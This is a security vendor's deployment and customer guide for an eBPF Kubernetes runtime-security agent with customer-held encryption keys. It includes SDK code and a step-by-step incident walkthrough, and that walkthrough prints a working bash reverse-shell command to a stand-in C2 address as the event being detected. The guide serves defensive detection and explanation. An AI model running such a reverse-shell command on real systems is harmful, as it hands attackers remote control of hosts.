Tier 3 Deployment & Customer Guide

Overview

Tier 3 (codename EcheDeep) is EchelonGraph's eBPF-based runtime security agent. It runs entirely on your Kubernetes cluster and feeds telemetry to your EchelonGraph SaaS tenant — encrypted with your own keys before it ever leaves your environment.

> Zero-knowledge by design. Raw traffic, process events and runtime findings are encrypted on-host with a per-event Data Encryption Key (DEK), wrapped under your customer-managed KMS key (AWS / GCP / Vault), and shipped as ciphertext. We store ciphertext + indexed metadata only. Without your KMS, we cannot decrypt.

Shipped capabilities (chart 0.6.8 · agent 1.19.8):

  • eBPF multi-hook — XDP + TC + tracepoints with a safety scanner; on-node PII auto-stripping (11 default rules) and envelope encryption
  • Runtime threat detection — 16 security syscall tracepoints, eBPF-LSM (race-free, MAC-level), file-integrity monitoring, container drift; MITRE ATT&CK-mapped
  • Shadow API discovery — HTTP/2, gRPC, GraphQL, WebSocket, TLS-SNI endpoints
  • ML anomaly detection — 24h per-namespace baseline + EWMA + 5 rules
  • Threat intelligence — abuse.ch URLhaus + Feodo Tracker, CISA KEV, custom STIX 2.1 / TAXII 2.1
  • Auto-remediation — 15 IaC patch templates (6 K8s + 9 Terraform), GitHub PR mode, Slack notifications
  • Hardware KMS — AWS / GCP / Vault, with async DEK rotation
  • Custom compliance frameworks — DORA / NIS2 / CMMC / FedRAMP templates plus your own
  • Enterprise packaging — Helm OCI, Grafana dashboard, 11 PrometheusRule alerts, air-gap bundle
  • Browser SDK for in-browser ZK decryption (Web Crypto API) — Vault Transit, AWS KMS via a hand-rolled SigV4 signer (~7 KB gzipped), GCP Cloud KMS over REST (~3 KB gzipped)
  • Encrypted-Traffic Analysis — JA3 / JA4 fingerprinting (GREASE-filtered per RFC 8701), known-bad C2 and malicious-SNI correlation, fingerprint drift (T1105), beaconing (T1071.001), server-certificate posture (T1573) — from the plaintext TLS handshake, so it needs no decryption and covers every TLS stack, including the runtimes we cannot decrypt

Requirements & Compatibility

Tier 3 is an eBPF agent, so it has hard platform requirements. Check these before planning a pilot — most failed installs are a requirement gap, not a bug.

RequirementDetail
Operating systemLinux only. Windows and macOS nodes are not supported — eBPF is Linux-specific.
CPU architecturex86-64 / amd64 only. ARM64 (AWS Graviton, ARM-based clusters) is not yet supported.
Kernel5.10 or newer, with BTF — CONFIG_BPF_SYSCALL, CONFIG_UPROBES, CONFIG_DEBUG_INFO_BTF and the BPF ring buffer. 5.15+ recommended for the full eBPF feature set; validated through kernel 6.17. Kernels below 5.10, or built without BTF, run degraded.
BPF filesystemThe host must allow mounting bpffs at /sys/fs/bpf (the chart mounts it for you).
eBPF-LSM (optional)Race-free, MAC-level hooks activate only on nodes booted with lsm=bpf (and CONFIG_BPF_LSM=y). Most managed clusters (GKE / EKS / AKS) don't enable it by default — the agent then runs on syscall tracepoints, the full detection baseline. Additive hardening; no action required.
WorkloadA DaemonSet (one agent per node) plus a small, unprivileged master Deployment.
Host accesshostPID, hostNetwork, and read-only host mounts of /sys, /proc and /sys/fs/bpf.
PodSecurityAt least baseline, with privilege escalation permitted (the non-root file-capability model needs it). A fully-restricted namespace cannot run *any* eBPF agent — grant a scoped exception for the agent's namespace.
GKE AutopilotNot supported — it blocks hostNetwork + privileged pods. Deploy on a Standard cluster.
Container runtimecontainerd or CRI-O — must honor file capabilities.
Footprint~0.1–0.5 vCPU and 192–512 MiB per node; outbound TLS to one ingest endpoint (or your self-hosted ingester when air-gapped). HTTP / SOCKS5 proxies supported.

The agent runs non-root (UID 65532) on file capabilities — CAP_BPF, CAP_PERFMON, CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_SYS_RESOURCE, CAP_SYS_PTRACE. Root and privileged:true are opt-in fallbacks for restrictive runtimes only.


Coverage limits

SignalStatusLimit
Server-certificate posture✅ TLS 1.2 onlyTLS 1.3 encrypts the certificate, so there is nothing to read.
DNS responsesNot captured — the query already carries the signal; responses add little.
Decrypted L7 — pure-JSSE / async-SSLEngine Java⏳ RoadmapJava's TLS runs in pure JVM bytecode with no native symbol for eBPF to hook. Full L7 needs a companion JVM agent (planned). Flow + SNI are still captured.
Decrypted L7 — NSS (Firefox-family)NSS exposes no TLS-specific native symbol we can hook without *also* lifting non-TLS plaintext — which would break the zero-knowledge promise. Flow + SNI still captured.
Decrypted L7 — kernel-TLS (kTLS) offload⏳ RoadmapA separate kernel-side hook; niche (nginx / kernel-bypass setups). Flow + SNI still captured.
Fileless, syscall-free in-memory activityIf it issues no new syscall, eBPF has nothing to hook. (Fileless *exec* via memfd / execveat is caught.)
Same-privilege kernel rootkits below our probesCode that hooks beneath our tracepoints/LSM can hide from any eBPF sensor — an inherent limit of the technology, not this product.
Your plaintext, readable by EchelonGraph❌ By designEverything is PII-stripped and encrypted with your KMS key on the node; we store ciphertext only. This is the guarantee, not a gap.

Known Limitations

We'd rather you know these up front than have them surprise you:

  • Encrypted L7 (HTTPS) plaintext capture spans OpenSSL / BoringSSL, GnuTLS, and Go crypto/tls — covering essentially every runtime: C/C++, Python, Node.js, Ruby, PHP and Rust (OpenSSL/BoringSSL), GnuTLS-based tooling, and Go services — client and server, including stripped production binaries (server-side reads via the RET-instruction technique; stripped binaries resolved through .gopclntab). Java using a system-OpenSSL TLS provider (Tomcat-APR, WildFly-OpenSSL) is covered through the same hooks. Still metadata-only — connection + SNI + flow, with full-L7 on the roadmap: pure-JSSE and async-SSLEngine Java (no native symbol to hook — a companion JVM agent is planned), NSS (Firefox-family — no TLS-specific export we can hook without also lifting non-TLS data), and kernel-TLS (kTLS) offload.
  • Traffic with no instrumentable TLS library is observed at the flow + SNI level only, by design. We never terminate TLS or hold your keys.
  • XDP packet capture records a bounded prefix of each payload. On kernel 5.18+ a frag-aware deep-capture path (bpf_xdp_load_bytes) extends this to mid-size server certificates; older kernels keep the power-of-two prefix and fall back gracefully. Server-certificate posture (ETA) is still TLS 1.2 only (TLS 1.3 encrypts the certificate), and capture is per-packet — a cert/handshake flight larger than one network frame (~1.5 KB) would need TCP reassembly. JA3/JA4 fingerprinting, drift and beaconing are unaffected, since the ClientHello fits the prefix.
  • The eBPF-LSM layer (race-free, MAC-level detection) requires lsm=bpf in the node's kernel command line (and CONFIG_BPF_LSM=y) — most managed clusters (GKE / EKS / AKS) don't enable it by default. Without it the agent runs on syscall tracepoints, which is the full detection baseline; the LSM hooks are additive hardening, not a prerequisite.
  • Under an extreme syscall burst the bounded per-node event buffer can drop individual events — sustained or repeated activity is reliably detected, but a single one-shot syscall during a saturation spike may be missed.
  • Inherent eBPF blind spots: truly syscall-free in-memory activity (fileless exec via memfd / execveat *is* detected), same-privilege kernel rootkits that hook below our probes, and DNS *responses* (queries are captured).
  • Fully air-gapped clusters require a self-hosted ingester and won't receive the live public threat-intel feeds unless you mirror them internally.

Zero-Knowledge Architecture

The most-asked question from prospective customers is: *"What can EchelonGraph staff actually read about my workloads?"*

  • We see (indexed metadata): tenant, agent, pod, namespace; each finding's rule ID, severity, MITRE ATT&CK technique and confidence score; timestamp and event count; the wrapped DEK; the ciphertext blob.
  • We cannot decrypt without your KMS: process command lines, destination IPs and DNS targets, HTTP paths, headers and bodies (PII stripped before encryption), file paths, shell environment variables, TLS SNI hostnames.

Detection runs on your servers, *before* encryption — anomaly engine, process rules, threat-intel matching and shadow API discovery all execute on-host on plaintext, so "is this suspicious?" is answered before anything reaches our cloud. Metadata is enough to route alerts, fill dashboards and score compliance; the payload is unlocked only for investigation, in your analyst's browser. The trade-off: we cannot retroactively re-run detection on old data — that has to happen on your host with a fresh agent version.

How your data stays private — end-to-end

Data is locked the moment it's collected on your servers, only the locked version reaches us, and it is unlocked only inside your analyst's browser — with a key from your encryption service, not from us.

The simple version: Your data gets locked the moment it's collected on your servers. We only ever see the locked version. The only place it gets unlocked is inside your analyst's browser — and the unlock key comes directly from your encryption service, not from us. If we vanished tomorrow, what we have is permanently unreadable.

Your encryption service

YOU CONTROLAWS · GCP · Vault

In your cloud account, never EchelonGraph's. Both step 1 (your agent) and step 3 (your analyst's browser) call this service directly to lock and unlock data. We never call it. We never have a copy of the key.

  • Your master key NEVER leaves your account
  • All locking & unlocking happens in your KMS hardware
  • Every unlock is written to your KMS audit log

Your servers

YOU CONTROL

EchelonGraph agent runs here

  • Watches what's happening on your computers
  • Locks each piece of data the moment it's collected
  • Calls YOUR encryption service to lock the key — never us
Encrypted data sent over secure channel
(no plaintext ever leaves your servers)

EchelonGraph cloud

ECHELONGRAPH SAAS

We only ever see locked data

  • Stores locked data plus the alert metadata (when, what type)
  • Cannot unlock — we don't have your key
  • Even a database breach keeps your data unreadable
Encrypted data sent to dashboard
(still locked at this point)

Your analyst's browser

YOU CONTROL

The only place data gets unlocked

  • Browser unlocks the data key by calling YOUR KMS directly
  • The unlock request never passes through EchelonGraph
  • Key wiped from browser memory the moment they navigate away
🔒Locked = encrypted, unreadable without your key
🔓Unlocked = readable, only inside your browser
📦Locked data travelling over a secure channel
🔐Your encryption service — never EchelonGraph's

Why we can't read your data, even if we wanted to

Each statement below is independently verifiable — with your cloud provider, your browser's developer tools, or our open-source code.

How to know we're telling the truth: Every claim below is something you can independently check — with your cloud provider, with browser developer tools, or by reading our open-source code. None of these require taking our word for anything.

Your master key never leaves your account

EchelonGraph never has a copy of your encryption key. It stays inside your AWS, GCP, or Vault account — locked in tamper-resistant hardware, like a physical safe.

How to verifyAsk your cloud provider: "Can my master key ever be exported?" Answer: no — by design.

Backed by

  • We only call your encryption service to lock and unlock data — we never receive the key itself
  • Your provider's hardware physically prevents the key from being copied out
  • Even our own staff would have nothing to leak in a worst-case breach

Decryption happens in your browser, not on our servers

When your analyst clicks "view details", their browser unlocks the data directly. The unlock request goes from their computer straight to your encryption service — it never passes through us.

How to verifyOpen your browser's developer tools (F12) → Network tab → click a finding. You'll see the unlock request going to your cloud provider, NOT to echelongraph.io.

Backed by

  • Your browser → your AWS / GCP / Vault, direct, no proxy
  • EchelonGraph is offline during decryption — we don't see the unlocked data
  • Your corporate firewall logs will confirm this independently

Even if EchelonGraph vanished, your data stays safe

We only ever store the locked version. If our company shut down tomorrow, what we hold remains permanently unreadable to anyone — including any future buyer, our former employees, or anyone who breaches our database.

How to verifyTest it: block app.echelongraph.io in your firewall for a day. Your scrambled data sits in our DB, can't be read by anyone, ever.

Backed by

  • We can't be subpoenaed into producing plaintext we don't have
  • Court orders against us don't bypass your encryption — they hit a wall
  • Built-in compliance with GDPR Art. 25 (data minimisation), DPDP, EU DORA, US CMMC 2.0

Every unlock is recorded in your audit trail

Your cloud provider logs every single time anyone unlocks a piece of your data — including which person unlocked it. The logs always show your team members' names, never EchelonGraph's, because we never make the call.

How to verifyCheck AWS CloudTrail / GCP Cloud Audit Logs / Vault audit log. Filter for "Decrypt" calls — every one will show your analyst's email address.

Backed by

  • Logs are written by your provider, not by us — we can't tamper with them
  • If our staff ever decrypted your data, the log would prove it (and we'd be in violation)
  • Many auditors accept this log as standalone proof of zero-knowledge

The decryption code is open-source — verify it yourself

The exact code that runs in your browser to unlock data is published under Apache 2.0. Any developer on your team can read every line. We've also published 111 automated tests showing what it does.

How to verifyRead the source at frontend/src/lib/zkdecrypt/ in our public repo. If your security team prefers, copy it into your own dashboard — it'll work the same.

Backed by

  • Tests prove the wire format, the auth flow, and that keys are wiped from memory
  • Pull request history shows every change to the security-critical code
  • Your team can audit, fork, or replace it without permission from us

How your dashboard calls your KMS to unlock data

The same flow at code level: your auth layer passes an IdP token to the SDK, which calls your KMS directly on "view locked details" — never through EchelonGraph.

What this looks like in code: Each provider works the same way from the dashboard's perspective: (1) your dashboard's auth layer fetches a token or credentials from the customer's IdP, then (2) hands them to the SDK's React hook. The SDK then calls the customer's KMS directly when an analyst clicks view locked details. Pick the tab for your environment.

How HashiCorp Vault works: Customer signs into Vault via OIDC; dashboard captures the X-Vault-Token and passes it to the SDK.

Step 1 · in your dashboard's auth layer

1. Get a Vault token by signing the user into Vault via your IdP (Okta / Azure AD / Auth0 / Google Workspace) using Vault's OIDC auth method.

// In your dashboard's auth layer
async function getVaultToken(): Promise<string> {
  // Your IdP returns an OIDC code for the signed-in user.
  // Vault exchanges it for a Vault token.
  const oidcCode = await window.myIdP.getOidcCode();

  const res = await fetch(
    "https://vault.your-company.com/v1/auth/oidc/login",
    { method: "POST", body: JSON.stringify({ code: oidcCode }) }
  );
  const json = await res.json();

  return json.auth.client_token; // valid for ~1 hour by default
}
Step 2 · hand the credentials to the SDK

2. Use the token in a dashboard component. The SDK sends it as X-Vault-Token directly to YOUR Vault — no proxy through EchelonGraph.

import { useZkConfig, useZkDecrypt } from "@echelongraph/zkdecrypt";

function FindingDetail({ finding, jwt }) {
  const [vaultToken, setVaultToken] = useState<string | null>(null);
  useEffect(() => { getVaultToken().then(setVaultToken); }, []);

  const { config } = useZkConfig(jwt);             // GET /api/v1/zk/config
  const { decrypt } = useZkDecrypt(config, {
    vaultToken: vaultToken ?? "",                  // your token, not ours
  });

  return (
    <button onClick={async () => {
      const { plaintext } = await decrypt({
        envelope:  finding.encryptedPayload,       // from EchelonGraph API
        tenantId:  finding.tenantId,
        agentId:   finding.agentId,
      });
      // Decryption happened in this browser; plaintext is a Uint8Array
      console.log(new TextDecoder().decode(plaintext));
    }}>
      View locked details
    </button>
  );
}
Things to know
  • Vault token is short-lived — the SDK surfaces 401/403 as kms_auth_failed; re-prompt for OIDC login when you see that
  • Your customer's IAM grants Vault Transit decrypt permission on the configured key — check your Vault audit log to see every unlock

For the threat model, what the encrypted envelope contains, and which KMS providers are supported, see /docs/tier3-zk-decryption. The SDK source is open under Apache 2.0 at frontend/src/lib/zkdecrypt/.

A complete incident — end-to-end with realistic data

A production incident at every layer, from eBPF detection to PR-driven auto-remediation. Green boxes are data we read freely; red boxes are data we cannot read at all.

Real incident — end-to-end walkthrough. A reverse-shell attempt is launched from a compromised pod in Acme Corp's production cluster. Below: every system event from kernel-level detection through to auto-remediation, with the actual data each party sees at every step. Pay attention to which boxes are green (we read freely) versus red (we cannot read at all).
  1. T+0.000sYour host (worker-3.acme-prod)·eBPF kernel hook

    Reverse-shell process spawns inside a production pod

    At 14:32:07.123 UTC, the gunicorn worker in the checkout-api deployment forks a new bash process. The eBPF tracepoint hook on the customer's host captures the execve system call and forwards it to the EchelonGraph agent for evaluation.
    Raw kernel event (only on customer's host)✓ Plaintext
    PID:    3847
    PPID:   3128 (gunicorn)
    Comm:   bash
    Args:   /bin/bash -c "bash -i >& /dev/tcp/198.51.100.74/4444 0>&1"
    Cwd:    /tmp
    UID:    33 (www-data)
    Pod:    checkout-api-pod-7b9c
    NS:     production
    Node:   worker-3.acme-prod
    This data NEVER leaves the host in plaintext.
  2. T+0.012sEchelonGraph agent (Tentacle DaemonSet)·Detection engines run locally

    Two detection rules fire on the customer's host

    The agent evaluates the event against every Tier 3 detection engine, all running locally on the customer's host with full plaintext access. Two rules match: the process-monitor flags the bash command line as a reverse shell (T3.4), and the threat-intel matcher recognises the destination IP from the abuse.ch / CISA KEV feeds (T3.6).
    Local detection result (still on host, plaintext)✓ Plaintext
    rules_matched: [T3.4-PROC-REVERSE-SHELL, T3.6-IOC-MATCH]
    mitre_technique: T1059.004  (Unix Shell)
    severity: critical
    confidence: 0.97
    ioc_source: abuse.ch URLhaus + CISA KEV
    finding_id: f-9d4e2a17
    event_count: 1
    Detection logic runs in-process on the host. By this point the verdict is already final — EchelonGraph cloud never participates in detection.
  3. T+0.018sEchelonGraph agent·Encrypt + ship

    Agent locks the sensitive payload before shipping

    The agent generates a fresh 32-byte data key (DEK), AES-256-GCM encrypts the sensitive details (command line, file paths, destination IP, etc.), and asks the customer's KMS to wrap the DEK. The wrapped DEK plus ciphertext are bundled with the plaintext metadata and shipped over TLS 1.3 gRPC.
    Plaintext metadata sent to EchelonGraph✓ Plaintext
    {
      "tenant_id":       "acme-corp",
      "agent_id":        "tentacle-worker-3",
      "rule_id":         "T3.4-PROC-REVERSE-SHELL",
      "severity":        "critical",
      "mitre_technique": "T1059.004",
      "ts":              "2026-05-07T14:32:07.123Z",
      "pod":             "checkout-api-pod-7b9c",
      "namespace":       "production",
      "confidence":      0.97,
      "ioc_match":       "T3.6-IOC-MATCH",
      "event_count":     1
    }
    EchelonGraph reads this freely — it's how alerts get routed.
    Encrypted payload (locked with the customer's KMS)🔒 We CANNOT read
    nonce      (12 bytes hex):  a3f2e1c509bb47c1d4e832af
    ciphertext (245 bytes b64): kJh3T9xQ4Z2wL1vPdR8mN0yQp7Vk
                                sB8xJq2fT5rY3wHmN9pK4tA0iL6e
                                ... (truncated, 245 bytes total)
    AEAD tag   (16 bytes hex):  e1f8d3c4b29a5e6708d2f4a1
    wrapped-DEK (KMS blob):     AQECAHj8H5jK4Z9wL...
    Without the customer's KMS key, this is just random bytes — even our own DBA can't reconstruct the command line.
  4. T+0.450sEchelonGraph cloud·Ingester → CloudSQL + ClickHouse

    EchelonGraph stores the row — ciphertext stays opaque to us

    The Ingester validates the wire format, writes the metadata columns to Postgres for the alert layer to query, and pushes the ciphertext + wrapped-DEK to ClickHouse with a 90-day retention TTL. We index every metadata field for routing, compliance reporting, and dashboard queries.
    Stored row (what an EchelonGraph engineer can SELECT)✓ Plaintext
    tenant_id          | acme-corp
    rule_id            | T3.4-PROC-REVERSE-SHELL
    severity           | critical
    mitre_technique    | T1059.004
    ts                 | 2026-05-07 14:32:07.123
    pod                | checkout-api-pod-7b9c
    namespace          | production
    confidence         | 0.97
    ioc_match          | T3.6-IOC-MATCH
    encrypted_payload  | \xa3f2e1c509bb...e1f8d3c4   ← unreadable
    wrapped_dek        | \xAQECAHj8H5jK4Z9wL...      ← unreadable
    Our staff can run analytics on metadata. The two unreadable columns are what protects you.
  5. T+0.620sEchelonGraph alert manager·Slack / PagerDuty / webhook routing

    Alert fires — built entirely from plaintext metadata

    A pre-configured rule (“CRITICAL severity in production namespace”) matches. Alert manager builds a Slack message using the metadata fields only and POSTs it to the customer's Slack webhook. The encrypted payload is not touched.
    Slack message that fires in #soc-prod-alerts✓ Plaintext
    🚨 CRITICAL: Reverse shell in production
       Tenant: acme-corp · Pod: checkout-api-pod-7b9c
       Namespace: production · Confidence: 97%
       MITRE: T1059.004 (Unix Shell)
       IOC match: known C2 from abuse.ch URLhaus
       Time: 2026-05-07 14:32:07 UTC
    
       [Investigate ↗]  [Acknowledge]  [Auto-remediate]
    The Slack message has zero plaintext details from the encrypted payload. Routing works fine without us reading anything.
  6. T+27sAlice (SOC analyst)·Opens app.echelongraph.io/findings/f-9d4e2a17

    Analyst opens the dashboard from the Slack alert

    Alice clicks [Investigate ↗] in Slack. Her browser navigates to app.echelongraph.io, the SPA loads, the dashboard fetches the finding. The metadata renders immediately — but the “What process ran?”, “Where did it connect?”, and “Full command-line” sections show a 🔒 Locked — click to unlock placeholder.
  7. T+30sBrowser SDK (frontend/src/lib/zkdecrypt)·Calls Alice's Vault DIRECTLY

    Browser unlocks the data key via Vault — bypasses EchelonGraph

    Alice clicks “view locked details”. Her browser already has a Vault token from this morning's OIDC sign-in (cached in sessionStorage). The SDK POSTs the wrapped DEK to vault.acme.com directly. Vault unwraps it inside its HSM and returns the plaintext DEK. The SDK runs AES-GCM decrypt in the browser using Web Crypto API. Plaintext renders. zeroBytes(DEK) wipes the key from JS heap.
    Browser → Vault POST (visible in DevTools Network tab)🔐 Customer's KMS
    POST https://vault.acme.com/v1/transit/decrypt/echelongraph
    X-Vault-Token: hvs.CAESI...       ← Alice's OIDC-derived token
    Content-Type: application/json
    
    {
      "ciphertext": "vault:v1:AQECAHj8H5jK4Z9wL..."  ← wrapped DEK
    }
    
    ← Response from Vault:
    {
      "data": { "plaintext": "kJh3T9xQ4Z2wL1vPdR8mN0y..." }
    }
    Open Alice's DevTools Network tab and you'll see this exact request going to vault.acme.com — NOT to echelongraph.io.
    Plaintext rendered in Alice's browser (and only there)✓ Plaintext
    Process command line:
      /bin/bash -c "bash -i >& /dev/tcp/198.51.100.74/4444 0>&1"
    
    Working directory: /tmp
    UID: 33 (www-data) — gunicorn's own user, no privilege escalation
    PID: 3847 · Parent: gunicorn (PID 3128)
    Destination: 198.51.100.74:4444
    
    IOC source: abuse.ch URLhaus
    First seen: 2026-04-22 — known C2 for "RedShell" toolkit
    This text exists only in Alice's browser tab memory. When she navigates away, dispose() wipes it.
  8. T+30.5sAcme's Vault audit log·Records the unlock with caller identity

    Vault writes an audit-log entry — proving Alice unlocked it, not us

    Vault's audit log records every Decryptcall with the caller's federated identity. Acme's SOC team (or external auditor) can grep this log to confirm that EchelonGraph staff have never made a decrypt call against their key.
    Acme's Vault audit log (their copy, written by their Vault)📜 Customer's log
    2026-05-07 14:32:37 UTC — vault.transit.decrypt
      caller_id:   [email protected]
      auth_method: oidc/okta
      key_name:    echelongraph
      success:     true
      request_id:  7c45-ab12-9e30-4f15
      remote_addr: 203.0.113.45 (Alice's office IP)
    The caller_id is Alice's IdP identity — never an EchelonGraph staff identity, because we never make the call.
  9. T+45sAuto-remediation engine (T3.7)·Generates IaC patch + opens GitHub PR

    Alice triggers auto-remediation — a NetworkPolicy PR opens

    Alice clicks Auto-remediate. The remediation engine selects the K8s NetworkPolicy template (matching the finding's category), substitutes the offending pod labels, and opens a GitHub PR in acme-corp/infra-iac. Alice (admin role) clicks Merge → ArgoCD applies the policy → the compromised pod loses egress in < 60 seconds.
    Auto-generated NetworkPolicy (committed to acme-corp/infra-iac)✓ Plaintext
    apiVersion: networking.k8s.io/v1
    kind: NetworkPolicy
    metadata:
      name: deny-egress-checkout-api-incident-f9d4e2a17
      namespace: production
      annotations:
        echelongraph.io/finding: f-9d4e2a17
        echelongraph.io/rule:    T3.4-PROC-REVERSE-SHELL
    spec:
      podSelector:
        matchLabels:
          app: checkout-api
      policyTypes: [Egress]
      egress: []   # deny all outbound traffic
    PR opened by github-app/echelongraph-bot · approved by [email protected] · merged at 14:33:41 · ArgoCD synced at 14:34:09.
End-to-end recap — total elapsed: 45 seconds

Detection ran on Acme's host (T+0 to T+18 ms). Encryption + ship took ~430 ms over TLS 1.3 gRPC. Alert routed to Slack 620 ms after the kernel event. Alice opened the dashboard, unlocked the encrypted payload via her own Vault, triggered remediation, and had the compromised pod isolated within a minute. Throughout the entire incident, EchelonGraph never read the bash command line, the destination IP, or any other detail of the actual exploit— only the metadata needed to route the alert. Acme's Vault audit log proves it: every Decrypt call shows [email protected] as the caller, never an EchelonGraph identity.

Two decryption paths. The open-source browser SDK unwraps each event's DEK straight from your Vault Transit, AWS KMS (SigV4 + Cognito / STS federation) or GCP Cloud KMS after an OIDC sign-in; a Go SDK does the same for SOC pipelines and SIEM forwarders. Both share one envelope format — see Tier 3 ZK decryption. Stored payloads are AES-256-GCM ciphertext: with full read access to our database, neither an attacker nor an EchelonGraph employee can reconstruct the event.


Ownership and pricing

You bring the cluster, a customer-managed KMS key with its IAM policy or Vault token, agent upgrades, your custom frameworks, and admin approval of remediation patches; we run the dashboard, ingest, storage and the threat-intel feeds the agent pulls every 6h. Nothing to train — the 24h baseline is unsupervised; no rules to author for the basics — 30+ ship out of the box; no new on-call — alerts route to your existing PagerDuty / Slack / email.

Tier 3 ships with the Enterprise plan at flat annual pricing — never per-node or per-event, so cluster growth and traffic spikes never change your bill. Community, Team and Pro cover Tier 1 (agentless cloud) and Tier 2 (network + container); Enterprise adds AWS/GCP/Vault KMS BYOK, zero-knowledge encryption, air-gapped install, a dedicated SaaS region, 730-day retention + archive and a custom SLA — see the plans page. BYOK encryption and auto-remediation are included, not paid add-ons, unlike Sysdig's "private cloud" SKUs ($50K+) or the per-image / per-workload metering from Aqua and Wiz.


Security comparison

CapabilityTier 3SysdigAquaFalcoWiz
Zero-knowledge data plane (BYOK encryption)
Kernel-level eBPF telemetry✓ (sensor)
Process monitoring + reverse-shell detection
Network anomaly detection (ML-statistical)
Custom compliance framework builderpartialpartial
Auto-remediation IaC PR generation
Air-gapped mode (no phone-home)partial
AWS / GCP / Vault KMS integrationpartial
Per-tenant suppression rules
Threat-intel: STIX 2.1 + TAXII 2.1 nativepartialpartial
MITRE ATT&CK auto-taggingpartial
EU GDPR / DPDP Article-25 by designpartialpartialpartial
Open-source customer SDK (zkdecrypt)✓ (rule lang)

Confidence checklist for security review

  • [ ] eBPF verifier compliance — every program loads via cilium/ebpf with the kernel verifier; anything failing validation is rejected at load time.
  • [ ] Unprivileged by default — a least-privilege capability set, not a fully-privileged container (full privilege is an opt-in escape hatch for restrictive kernels). The agent's only host-filesystem write is its own state directory; hostNetwork + hostPID are what eBPF tracing requires.
  • [ ] Customer-managed encryption keys — per-event DEK wrapped by your KEK, in the KMS you choose.
  • [ ] Open-source SDK — zkdecrypt is the canonical decryption path; auditable Go.
  • [ ] No outbound from the agent beyond the single ingest endpoint; air-gapped mode disables even that.
  • [ ] License feature flags — every paid feature gated behind a signed license claim; rotation supported.
  • [ ] Open-source threat-intel feeds — abuse.ch + CISA KEV are public; the agent never sends *your* findings upstream.
  • [ ] Audit log for every admin-grade action (remediation approve, framework publish, agent enrollment).

On uninstall the agent self-zeroes its DEK. Wrapped DEKs in our backend remain (we can't decrypt them anyway); a tenant deletion request removes the ciphertext rows.


Next step

A deployment call covers what depends on your environment: enrollment and install, KMS setup for your provider, the air-gap bundle, and a read on your kernel and PodSecurity posture against the matrix above.

Talk to us about deployment